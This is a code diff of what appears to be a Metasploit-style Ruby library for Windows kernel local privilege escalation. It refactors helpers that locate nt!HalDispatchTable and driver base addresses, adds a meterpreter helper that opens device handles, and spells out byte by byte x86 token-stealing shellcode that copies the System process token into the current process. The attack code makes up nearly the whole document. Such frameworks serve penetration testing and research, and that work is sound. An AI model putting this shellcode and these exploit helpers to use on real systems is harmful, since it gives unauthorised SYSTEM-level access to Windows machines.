@@ -6,6 +6,7 @@ module Exploit::Local::WindowsKernel
6
6
# Find the address of nt!HalDispatchTable.
7
7
#
8
8
# @return [Integer] The address of nt!HalDispatchTable.
9
+ # @return [nil] If the address could not be found.
9
10
#
10
11
def find_haldispatchtable
11
12
kernel_info = find_sys_base ( nil )
@@ -36,8 +37,8 @@ def find_haldispatchtable
36
37
#
37
38
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
38
39
# if this value is nil.
39
- #
40
- # @return [Array, nil] An array containing the base address and the located drivers name .
40
+ # @return [Array] An array containing the base address and the located drivers name.
41
+ # @return [nil] If the name specified could not be found .
41
42
#
42
43
def find_sys_base ( drvname )
43
44
unless session . railgun . dlls . keys . include? ( 'psapi' )
@@ -78,34 +79,72 @@ def find_sys_base(drvname)
78
79
end
79
80
end
80
81
82
+ #
83
+ # Open a device on a meterpreter session with a call to CreateFileA and return
84
+ # the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
85
+ # are specified as nil.
86
+ #
87
+ # @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
88
+ # @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
89
+ # @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
90
+ # @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
91
+ # @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
92
+ # @return [Integer] The device handle.
93
+ # @return [nil] If the call to CreateFileA failed.
94
+ #
95
+ def open_device ( file_name , desired_access , share_mode , creation_disposition , flags_and_attributes = 0 )
96
+ handle = session . railgun . kernel32 . CreateFileA ( file_name , desired_access , share_mode , nil , creation_disposition , flags_and_attributes , nil )
97
+ if handle [ 'return' ] == 0xffffffff
98
+ print_error ( "Failed to open the #{ file_name } device (error: #{ handle [ 'GetLastError' ] } )" )
99
+ return nil
100
+ end
101
+ handle [ 'return' ]
102
+ end
103
+
81
104
#
82
105
# Generate x86 token stealing shellcode suitable for use when overwriting the
83
106
# pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx
84
107
# registers.
85
108
#
86
109
# @param target [Hash] The target information containing the offsets to _KPROCESS,
87
110
# _TOKEN, _UPID and _APLINKS.
88
- #
111
+ # @param arch [String] The architecture to return shellcode for. If this is nil,
112
+ # the arch will be guessed from the target and then module information.
89
113
# @return [String] The token stealing shellcode.
114
+ # @raise [ArgumentError] If the arch is incompatible.
90
115
#
91
- def token_stealing_shellcode_x86 ( target )
92
- tokenstealing = "\x52 " # push edx # Save edx on the stack
93
- tokenstealing << "\x53 " # push ebx # Save ebx on the stack
94
- tokenstealing << "\x33 \xc0 " # xor eax, eax # eax = 0
95
- tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
96
- tokenstealing << "\x8b \x40 " + target [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
97
- tokenstealing << "\x8b \xc8 " # mov ecx, eax
98
- tokenstealing << "\x8b \x98 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
99
- tokenstealing << "\x8b \x80 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
100
- tokenstealing << "\x81 \xe8 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
101
- tokenstealing << "\x81 \xb8 " + target [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
102
- tokenstealing << "\x75 \xe8 " # jne 0000101e ======================
103
- tokenstealing << "\x8b \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
104
- tokenstealing << "\x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
105
- tokenstealing << "\x89 \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
106
- tokenstealing << "\x5b " # pop ebx # Restores ebx
107
- tokenstealing << "\x5a " # pop edx # Restores edx
108
- tokenstealing << "\xc2 \x10 " # ret 10h # Away from the kernel!
116
+ def token_stealing_shellcode ( target , arch = nil )
117
+ arch = target . opts [ 'Arch' ] if arch . nil? && target && target . opts [ 'Arch' ]
118
+ arch = module_info [ 'Arch' ] if arch . nil? && module_info [ 'Arch' ]
119
+ if arch . nil?
120
+ print_error ( 'Can not determine the target architecture' )
121
+ fail ArgumentError , 'Invalid arch'
122
+ end
123
+
124
+ case arch
125
+ when ARCH_X86
126
+ tokenstealing = "\x52 " # push edx # Save edx on the stack
127
+ tokenstealing << "\x53 " # push ebx # Save ebx on the stack
128
+ tokenstealing << "\x33 \xc0 " # xor eax, eax # eax = 0
129
+ tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
130
+ tokenstealing << "\x8b \x40 " + target [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
131
+ tokenstealing << "\x8b \xc8 " # mov ecx, eax
132
+ tokenstealing << "\x8b \x98 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
133
+ tokenstealing << "\x8b \x80 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
134
+ tokenstealing << "\x81 \xe8 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
135
+ tokenstealing << "\x81 \xb8 " + target [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
136
+ tokenstealing << "\x75 \xe8 " # jne 0000101e ======================
137
+ tokenstealing << "\x8b \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
138
+ tokenstealing << "\x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
139
+ tokenstealing << "\x89 \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
140
+ tokenstealing << "\x5b " # pop ebx # Restores ebx
141
+ tokenstealing << "\x5a " # pop edx # Restores edx
142
+ tokenstealing << "\xc2 \x10 " # ret 10h # Away from the kernel!
143
+ else
144
+ # if this is reached the issue most likely exists in the exploit module
145
+ print_error ( 'Unsupported arch for token stealing shellcode' )
146
+ fail ArgumentError , 'Invalid arch'
147
+ end
109
148
tokenstealing
110
149
end
111
150
end
0 commit comments